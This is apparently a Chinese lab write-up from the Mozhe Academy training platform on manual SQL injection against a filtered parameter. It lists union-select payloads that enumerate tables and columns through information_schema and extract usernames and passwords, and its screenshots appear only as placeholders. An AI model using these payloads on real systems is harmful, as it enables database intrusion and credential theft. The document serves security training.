墨者学院-SQL过滤字符后手工注入漏洞测试(第2题)

*判断注入点。存在注入点，并存在过滤。

image.png

image.png

image.png

• 判断过滤了.过滤了空格

  
  
  

  image.png
  
  
  

  image.png
  
  
  

  image.png

• 判断过滤了.没有过滤order by，执行union select 1，2，3，4判断过滤了select。要采用编码注入

  
  
  

  image.png
  
  
  

  image.png

• 判断字段 4个

  
  
  

  image.png

• 判断位置 union select 1,2,3,4

  
  
  

  image.png

• 判断表名 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

  
  
  

  image.png

• 判断列名 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member'

  
  
  

  image.png

• 判断name、password
  union selec 1,group_concat(name),group_concat(password),4 from stormgroup_member

  
  
  

  image.png